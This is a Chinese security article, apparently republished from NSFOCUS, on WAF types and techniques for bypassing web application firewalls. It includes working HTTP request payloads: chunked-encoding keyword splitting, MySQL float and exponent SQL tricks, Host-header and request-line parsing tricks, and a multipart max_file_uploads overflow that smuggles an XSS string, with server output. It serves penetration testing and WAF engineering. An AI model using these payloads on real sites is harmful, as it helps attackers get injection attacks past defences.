本公众号所发布的文章及工具代码等仅限交流学习,本公众号不承担任何责任!如有侵权,请告知我们立即删除。
WAF 中文名称Web应用防火墙,是针对于HTTP(S)协议特有的防护设备,在渗透测试中经常遇到,并且具有WAF防护的资产,测试难度会提升很多,因而,围绕WAF的攻防对抗技术也是渗透测试人员的一项必备技能。
WAF攻防对抗一直是我所致力研究的领域。所谓知己知彼,想要了解Bypass WAF技巧,首先就要了解WAF的架构以及分类。
按照架构不同,WAF产品大致可分为三类:1. 网络层的硬件WAF;2. 基于代理或WebServer模块的应用层WAF;3.云WAF 。
不同的架构有不同的绕过方式,举一个列子来说:对于网络层WAF,可以通过数据包组包的各种技巧轻松实现Bypass,而在应用层WAF中,WAF所处理的HTTP请求是经过WebServer封装的,因此,在理论上不存在网络层组包绕过的可能性。而在云WAF场景下,由于不同的云具有不同的架构,因而也存在不确定性,在云WAF场景下,有一个较为经典的绕过方法:通过寻找真实业务IP Bypass,因为云WAF架构,为了尽可能地兼容防护场景,通常支持业务服务器不在云上,而仅开通云防护来实现WAF SaaS功能,这种情况下基本都是通过高防IP处理请求流量再将流量回注到真实业务IP实现的,那么假设我们能够寻找到真实的业务IP,就不用经过云WAF解析,直接完成了绕过。
按照防护策略,WAF可分为:1. 正则引擎;2. 语义分析引擎;3. 机器学习引擎等,一些WAF产品会同时具有两套规则处理引擎,例如:既有正则引擎又有语义分析引擎。
针对不同引擎的Bypass方式也不尽相同。例如,针对正则引擎WAF 可以通过关键字拆分替换等方式绕过,而对于语义分析引擎则无法使用该方式,基于语义分析的WAF Bypass通常采用解析不一致来绕过,例如引擎对SQL语句解析采用MySQL5.7 版本,而实际业务环境下使用MySQL8.0,就势必会有部分语法解析出现不一致,就有可能会导致绕过。
所谓通用Bypass,就是指绕过以后,可以直接实现任意一种攻击而不受WAF阻拦。而单一规则Bypass,是指仅能够绕过WAF对某一项规则的拦截,如SQL注入、XSS等,绕过以后仅能够实现该类型的攻击,而其他类型的攻击仍会被拦截。下面我介绍三种:
这是一种在业内广为流传的绕过手法,在2015年前后对于网络层WAF的绕过十分有效。请看Payload:
POST /1.php HTTP/1.1
Host: x
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked 5
a=111
8
and sel
7 0
ect 1 f
0
利用这样的方法,将select 危险关键字拆分,就可以在一定程度上对比WAF查杀。其中,倒数第三行的 7 0 是chunked编码中对于传递行的一种注释写法,这里的空白字符实际上是\t,根据RFC,合法的注释符有;和\t两个。后面的0可以替换为 0x00等,造成部分WAF解析失败。
这种通用Bypass ,指的是这里既可以传递SQL注入漏洞执行语句,又可以传递SSRF、命令注入、XXE等漏洞的语句,因而造成了通用Bypass。
再来举一个单一规则Bypass的例子。
在MySQL中,支持两种词法的优先解析,分别是浮点数和科学计数法。我们直接来看SQL语句:
SELECT-1.1FROM user;
SELECT-1e1FROM user;
在该句式中,会优先拆分出-1.1,而不会影响整体语句,但如果是 SELECT-1FROM user;则会导致语法错误。这样的写法,就绕过了部分正则WAF的检测逻辑:
select\b[\s\S]*\bfrom
因而,产生了对于SQL注入规则的单一规则Bypass,这种绕过方法,目前对于一部分市面上的WAF产品,仍然有效。
这种Bypass 是极端情况下产生的,目前并不能面积使用,介绍它主要是为了启发大家思路。
来看这样的案例:
GET ?id=1 HTTP/1.1
Host: x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5)
Accept: text/html,application/xhtml+xml,application/xml;
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.1.879724675.1523443475; _gid=GA1.1.295817556.1523443475
注意,在GET 之后?之前,少了本应该有的/,对于Nginx 服务器来说,会返回400 Bad Request,而对于Apache来说,会默认将/补上,返回200 OK。因而,对于前端是Nginx的WAF引擎,后端是Apache HTTPD WebServer的架构来说,前端WAF引擎接收不到GET参数,可能会放行,而后端的Apache HTTPD 则能够正常处理。但是如果漏洞点不在根目录则无法利用此法绕过。对于一些MVC框架的网站(如:Discuz、PHPCMS)来说,全局路由都是通过 /?m=&a=&c= 来控制的,因此就比较适用。
在Nginx源码中有这样一段内容:
nginx/src/http/ngx_http_request.c , line: 1928
for (i = 0; i < host->len; i++)
{
ch = h[i];
switch (ch) {
case '.':
if (dot_pos == i - 1) {
return NGX_DECLINED;
}
dot_pos = i;
break;
case ':':
……
if (dot_pos == host_len - 1)
{ host_len--; }
尤其是最后两行,就是说,如果header头字段Host所传递的值最后一位是 . 那么,就将域名设定为删除. 以后所对应的域名。也就是说:a.com. 等于 a.com 。于是,我们可以构造如下Payload:
GET /?id=1 HTTP/1.1
Host: a.com.
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5)
Accept: text/html,application/xhtml+xml,application/xml;
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.1.879724675.1523443475; _gid=GA1.1.295817556.1523443475
对于一些并不是需要所有域名都过WAF场景下尤为适用,因为这样修改了域名,可能会绕过配置中开启WAF防护的域名清单,因而所有流量就不会再经过WAF处理了。特别说明的是,这种Bypass方法在云WAF场景中也同样适用。
该通用Bypass主要针对于漏洞点存在于POST参数之中的情况,对于漏洞点在GET参数,且无法转为POST参数的场景则无法使用。
我们知道,HTTP协议POST请求,除了常规的application/x-www-form-urlencoded以外,还有multipart/form-data这种形式,主要是为了解决上传文件场景下文件内容较大且内置字符不可控的问题。multipart/form-data格式也是可以传递POST参数的。对于Nginx+PHP的架构,Nginx实际上是不负责解析multipart/form-data的body部分的,而是交由PHP来解析,因此WAF所获取的内容就很有可能与后端的PHP发生不一致。
以PHP为例,我们写一个简单的测试脚本:
<?php
echo file_get_contents("php://input");
var_dump($_POST);
var_dump($_FILES);
?>
此时,我们将其转为multipart/form-data格式:
可以看到,实际上和前一种urlencoded是达到了同一种效果,参数并没有进入$_FILES数组,而是进入了$_POST数组。那么,何时是上传文件?何时是POST参数呢?这个关键点在于有没有一个完整的filename=。这9个字符是经过反复测试的,缺一个字符不可,替换一个字符也不可,在其中添加一个字符更不可。
加上了filename=以后的效果:
Bypass WAF的核心思想在于,一些WAF产品处于降低误报考虑,对用户上传文件的内容不做匹配,直接放行。事实上,这些内容在绝大多数场景也无法引起攻击。但关键问题在于,WAF能否准确有效识别出哪些内容是传给$_POST数组的,哪些传给$_FILES数组?如果不能,那我们是否就可以想办法让WAF以为我们是在上传文件,而实际上却是在POST一个参数,这个参数可以是命令注入、SQL注入、SSRF等任意的一种攻击,这样就实现了通用WAF Bypass。
下面我们来看一下几种入门级的绕过思路:
注意在filename之前加入了0x00,而有些WAF在检测前会删除HTTP协议中的0x00,这样就导致了WAF认为是含有filename的普通上传,而后端PHP则认为是POST参数。
双写后,一些WAF会取第二行,而实际PHP会获取第一行。
此时,该参数会引入一些垃圾数据,在命令注入及SQL注入的攻击场景,需要尽可能将前面的内容闭合。
该方法与前一种类似。
注意这里比前一种少了一个换行,数据纯净了许多。
对于php来说,真正的boundary 是 a 。
boundary仍然是a
注意此时 boundary是空的,并不是分号哦。
注意,此时boundary是可以为空格的。
boundary 遇到逗号就结束了。
同理:
如果你能够融会贯通这十种思路,说明已经入门了,我们开始脑洞升级,来看一下进阶版:
前面,我们介绍了,如果是这样双写,其实是以第一行为主的,这样就是上传文件。但如果我们在适当的地方加入0x00、空格和 \t , 就会破坏第一行,让PHP反以第二行为主:
这三个位置是首选的。将其替换为0x00和0x20与之同理, 大家可自行测试。
此外还有:
这里的\0,也是可以的。
最容易被忽视的是参数名中的0x00。
由此测试还有一个十分鸡肋的方式,用处不大,但有意思。只有当网站获取全部POST数组后以参数前缀来取值的场景才可利用,因为参数名后缀部分不可控。
boundary的名称是可以前后加入任意内容的,WAF如果严格按boundary去取,又要上当了。
第一个Content-Type和冒号部分填入了空格。
如何取boundary是一个问题:
我们需要考虑的问题是,Content-Disposition中的字段使用单引号还是双引号?
这个poc很特殊。实际上是urlencoded,但是伪装成了multipart,通过&来截取前后装饰部分,保留id参数的完整性。理论上multipart/form-data 下的内容不进行urldecoded,一些WAF也正是这样设计的,这样做本没有问题,但是如果是urlencoded格式的内容,不进行url解码就会引入%0a这样字符,而这样的字符不解码是可以直接绕过防护规则的,从而导致了绕过。
Part2部分相当于是Part1的一个扩展,篇幅有限,大家只需要在各个位置添加特殊字符fuzz即可。对于Part3 却需要看一点PHP源码了。
在PHP中,实际上是有一个skip_upload 来控制上传行是否为上传文件的。来看这样一个例子:
前面内容中我们介绍了,如果在第一行的Content-Disposition位置添加\0,是有可能引起第一行失效,从而从上传文件变为POST参数的。除此以外,我们来看一下php源码php-5.3.3/main/rfc1867.c
,其中 line: 991 有这样一段内容:
if (!skip_upload) {
char *tmp = param;
long c = 0;
while (*tmp) {
if (*tmp == '[') {
c++;
} else if (*tmp == ']') {
c--;
if (tmp[1] && tmp[1] != '[') {
skip_upload = 1;
break;
}
}
if (c < 0) {
skip_upload = 1;
break;
}
tmp++; }
}
其中的param参数是name="f" 也就是id这个参数,那么请问,如何能让它skip_upload呢?
没错,一些理解代码含义的同学应该已经有答案了。通过想办法进入c < 0,c原本是0,遇到[ 就自增1,遇到]就减一。那么,我们构造 name="f]" 即可让c=-1 。
成功。事实上,只要参数中有不成对匹配的左右中括号都可以引发skip_upload。
那么,还有其他的skip_upload吗?
还需要继续研究代码。在php源码 rfc1867.c line 909
/* If file_uploads=off, skip the file part */
if (!PG(file_uploads)) {
skip_upload = 1;
} else if (upload_cnt <= 0) {
skip_upload = 1;
sapi_module.sapi_error(E_WARNING, "Maximum number of allowable file uploads has been exceeded");
}
Maximum number of allowable file uploads has been exceeded ,如何达到Maximum?发现在php 5.2.12和以上的版本,有一个隐藏的文件上传限制是在php.ini里没有的,就是这个max_file_uploads的设定,该默认值是20, 在php 5.2.17的版本中该值已不再隐藏。文件上传限制最大默认设为20,所以一次上传最大就是20个文档,所以超出20个就会出错了。
那么:
POST /8.php HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data;¬¬¬boundary=a;
Content-Length: 2065--a
Content-Disposition: form-data; name="a";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="b";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="c";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="d";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="e";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="f";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="g";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="h";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="i";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="j";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="k";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="l";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="m";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="n";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="o";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="p";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="q";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="r";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="s";filename="1.png"
Content-Type: image/png
a
--a
Content-Disposition: form-data; name="t";filename="1.png"
Content-Type: image/png
b
--a
Content-Disposition: form-data; name="id";filename="1.png"
Content-Type: image/png
--a
Content-Disposition: form-data; name="id";
Content-Type: image/png
alert(1)
--a--
HTTP/1.1 200 OK
Server: nginx/1.19.5
Date: Thu, 03 Mar 2022 07:14:14 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.3.11
Content-Length: 4507POST content:
POST:array(1) {
["id"]=>
string(8) "alert(1)"
}
FILES:array(20) {
["a"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/php1FFea0"
["error"]=>
int(0)
["size"]=>
int(1)
}
["b"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpGwwobf"
["error"]=>
int(0)
["size"]=>
int(1)
}
["c"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpmJOlzI"
["error"]=>
int(0)
["size"]=>
int(1)
}
["d"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpL9SbXe"
["error"]=>
int(0)
["size"]=>
int(1)
}
["e"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/php5TEkl4"
["error"]=>
int(0)
["size"]=>
int(1)
}
["f"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpeAzjtW"
["error"]=>
int(0)
["size"]=>
int(1)
}
["g"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpKQX29k"
["error"]=>
int(0)
["size"]=>
int(1)
}
["h"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpN259vi"
["error"]=>
int(0)
["size"]=>
int(1)
}
["i"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpKjE3L1"
["error"]=>
int(0)
["size"]=>
int(1)
}
["j"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpxK3Ja2"
["error"]=>
int(0)
["size"]=>
int(1)
}
["k"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpKfmKKS"
["error"]=>
int(0)
["size"]=>
int(1)
}
["l"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpGbWp4q"
["error"]=>
int(0)
["size"]=>
int(1)
}
["m"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpfb4WGA"
["error"]=>
int(0)
["size"]=>
int(1)
}
["n"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpiW4wAU"
["error"]=>
int(0)
["size"]=>
int(1)
}
["o"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpHuAUlt"
["error"]=>
int(0)
["size"]=>
int(1)
}
["p"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpg9JuPK"
["error"]=>
int(0)
["size"]=>
int(1)
}
["q"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpOm7Vx9"
["error"]=>
int(0)
["size"]=>
int(1)
}
["r"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpg1iKx9"
["error"]=>
int(0)
["size"]=>
int(1)
}
["s"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpKnTJgz"
["error"]=>
int(0)
["size"]=>
int(1)
}
["t"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpJaXwzl"
["error"]=>
int(0)
["size"]=>
int(1)
}
}
如果删除前面的a-t共计20个构造的part,实际的效果并不能引起POST攻击。如下图所示:
但是,如果拼接了这20个part,实际上就填满了Maximum,导致最后一个upload无法生效,就只能从FILES转化为POST了。
WAF攻防对抗,看似仅仅是渗透测试中的一个环节,实际上,作为一个单独的攻防技术分支,有很多人正在努力研究。对于WAF产品工程师来说,了解Bypass手段也十分必要,要经常假设攻击场景,大胆假设,小心求证,以期打造网络安全的钢铁长城。
文章来源:对抗自动化社区 ,作者绿盟科技
扫码回复“加群”加入交流群